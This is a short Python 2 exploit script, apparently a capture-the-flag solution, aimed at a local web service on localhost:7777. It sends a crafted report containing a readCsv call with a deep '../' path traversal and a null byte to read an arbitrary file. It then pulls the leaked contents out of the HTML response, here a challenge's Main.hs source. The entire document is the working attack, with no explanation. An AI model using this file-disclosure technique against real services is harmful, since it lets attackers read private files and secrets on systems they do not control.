import requests
from HTMLParser import HTMLParser

url = 'http://localhost:7777'
def leak(fname):
    code = r'''
(xy :: [(Text,Text)]) <- readCsv "../../../../../../../../../{}\0" "aaaaaaaasdja" "bbbbbbasdj" 0 0

table "a" "b" xy
'''.format(fname)
    r = requests.post(url + '/report', data = {
        'report': code
    })
    enc = r.text.split('</thead><tbody><tr><td>')[1].split('</td>')[0]
    return HTMLParser().unescape(enc)

print leak('/home/niklas/ctf/challs/ghc/coercive/src/Main.hs')
